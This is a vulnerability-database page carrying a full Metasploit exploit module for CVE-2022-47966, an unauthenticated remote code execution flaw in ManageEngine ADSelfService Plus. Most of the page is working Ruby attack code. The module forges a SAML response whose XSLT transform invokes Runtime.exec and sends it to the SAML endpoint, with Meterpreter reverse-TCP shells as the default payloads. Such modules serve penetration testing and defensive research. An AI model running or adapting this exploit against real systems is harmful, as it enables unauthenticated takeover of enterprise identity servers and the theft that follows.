Lucene search
K

ManageEngine ADSelfService Plus Unauthenticated SAML Remote Code Execution

🗓️ 08 Feb 2023 00:00:00Reported by Christophe de la Fuente, Khoa Dinh, horizon3ai, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 371 Views

Unauthenticated SAML Remote Code Execution in ManageEngine ADSelfService Plus version 6210 and below (CVE-2022-47966). Exploits an unauthenticated remote code execution vulnerability in Zoho ManageEngine AdSelfService Plus due to an outdated library. Vulnerability occurs via crafted 'samlResponse' XML provided to the SAML endpoint, regardless of the current SAML-based SSO status.

Related
Code
`# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'ManageEngine ADSelfService Plus Unauthenticated SAML RCE',  
'Description' => %q{  
This exploits an unauthenticated remote code execution vulnerability  
that affects Zoho ManageEngine AdSelfService Plus versions 6210 and  
below (CVE-2022-47966). Due to a dependency to an outdated library  
(Apache Santuario version 1.4.1), it is possible to execute arbitrary  
code by providing a crafted `samlResponse` XML to the ADSelfService Plus  
SAML endpoint. Note that the target is only vulnerable if it has been  
configured with SAML-based SSO at least once in the past, regardless of  
the current SAML-based SSO status.  
},  
'Author' => [  
'Khoa Dinh', # Original research  
'horizon3ai', # PoC  
'Christophe De La Fuente' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' => [  
['CVE', '2022-47966'],  
['URL', 'https://blog.viettelcybersecurity.com/saml-show-stopper/'],  
['URL', 'https://www.horizon3.ai/manageengine-cve-2022-47966-technical-deep-dive/'],  
['URL', 'https://github.com/horizon3ai/CVE-2022-47966'],  
['URL', 'https://attackerkb.com/topics/gvs0Gv8BID/cve-2022-47966/rapid7-analysis']  
],  
'Platform' => ['win'],  
'Payload' => {  
'BadChars' => "\x27"  
},  
'Targets' => [  
[  
'Windows EXE Dropper',  
{  
'Platform' => 'win',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :windows_dropper,  
'DefaultOptions' => { 'Payload' => 'windows/x64/meterpreter/reverse_tcp' }  
}  
],  
[  
'Windows Command',  
{  
'Platform' => 'win',  
'Arch' => ARCH_CMD,  
'Type' => :windows_command,  
'DefaultOptions' => { 'Payload' => 'cmd/windows/powershell/meterpreter/reverse_tcp' }  
}  
]  
],  
'DefaultOptions' => {  
'RPORT' => 9251,  
'SSL' => true  
},  
'DefaultTarget' => 1,  
'DisclosureDate' => '2023-01-10',  
'Notes' => {  
'Stability' => [CRASH_SAFE,],  
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],  
'Reliability' => [REPEATABLE_SESSION]  
},  
'Privileged' => true  
)  
)  
  
register_options([  
OptString.new('TARGETURI', [ true, 'The SAML endpoint URL', '/samlLogin' ]),  
OptString.new('GUID', [ true, 'The SAML endpoint GUID' ]),  
OptString.new('ISSUER_URL', [ true, 'The Issuer URL used by the Identity Provider which has been configured as the SAML authentication provider for the target server' ]),  
OptString.new('RELAY_STATE', [ false, 'The Relay State. Default is "http(s)://<rhost>:<rport>/samlLogin/LoginAuth"' ])  
])  
end  
  
def check  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(datastore['TARGETURI'], datastore['GUID'])  
)  
return CheckCode::Unknown unless res  
  
return CheckCode::Safe unless res.code == 200  
  
product = res.get_html_document.xpath('//title').first&.text  
unless product == 'ADSelfService Plus'  
return CheckCode::Safe("This is not ManageEngine ADSelfService Plus (#{product})")  
end  
  
CheckCode::Detected  
end  
  
def encode_begin(real_payload, reqs)  
super  
  
reqs['EncapsulationRoutine'] = proc do |_reqs, raw|  
raw.start_with?('powershell') ? raw.gsub('$', '`$') : raw  
end  
end  
  
def exploit  
case target['Type']  
when :windows_command  
execute_command(payload.encoded)  
when :windows_dropper  
execute_cmdstager  
end  
end  
  
def execute_command(cmd, _opts = {})  
if target['Type'] == :windows_dropper  
cmd = "cmd /c #{cmd}"  
end  
cmd = cmd.encode(xml: :attr).gsub('"', '')  
  
assertion_id = "_#{SecureRandom.uuid}"  
# Randomize variable names and make sure they are all different using a Set  
vars = Set.new  
loop do  
vars << Rex::Text.rand_text_alpha_lower(5..8)  
break unless vars.size < 3  
end  
vars = vars.to_a  
saml = <<~EOS  
<?xml version="1.0" encoding="UTF-8"?>  
<samlp:Response  
ID="_#{SecureRandom.uuid}"  
InResponseTo="_#{Rex::Text.rand_text_hex(32)}"  
IssueInstant="#{Time.now.iso8601}" Version="2.0" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">  
<samlp:Status>  
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>  
</samlp:Status>  
<Assertion ID="#{assertion_id}"  
IssueInstant="#{Time.now.iso8601}" Version="2.0" xmlns="urn:oasis:names:tc:SAML:2.0:assertion">  
<Issuer>#{datastore['ISSUER_URL']}</Issuer>  
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">  
<ds:SignedInfo>  
<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>  
<ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>  
<ds:Reference URI="##{assertion_id}">  
<ds:Transforms>  
<ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>  
<ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">  
<xsl:stylesheet version="1.0"  
xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"  
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">  
<xsl:template match="/">  
<xsl:variable name="#{vars[0]}" select="rt:getRuntime()"/>  
<xsl:variable name="#{vars[1]}" select="rt:exec($#{vars[0]},'#{cmd}')"/>  
<xsl:variable name="#{vars[2]}" select="ob:toString($#{vars[1]})"/>  
<xsl:value-of select="$#{vars[2]}"/>  
</xsl:template>  
</xsl:stylesheet>  
</ds:Transform>  
</ds:Transforms>  
<ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/>  
<ds:DigestValue>#{Rex::Text.encode_base64(SecureRandom.random_bytes(32))}</ds:DigestValue>  
</ds:Reference>  
</ds:SignedInfo>  
<ds:SignatureValue>#{Rex::Text.encode_base64(SecureRandom.random_bytes(rand(128..256)))}</ds:SignatureValue>  
<ds:KeyInfo/>  
</ds:Signature>  
</Assertion>  
</samlp:Response>  
EOS  
  
relay_state_url = datastore['RELAY_STATE']  
if relay_state_url.blank?  
relay_state_url = "http#{'s' if datastore['SSL']}://#{rhost}:#{rport}/samlLogin/LoginAuth"  
end  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(datastore['TARGETURI'], datastore['GUID']),  
'vars_get' => {  
'RelayState' => Rex::Text.encode_base64(relay_state_url)  
},  
'vars_post' => {  
'SAMLResponse' => Rex::Text.encode_base64(saml)  
}  
})  
  
unless res&.code == 200  
fail_with(Failure::Unknown, "Unknown error returned (HTTP code: #{res&.code})")  
end  
  
res  
end  
  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation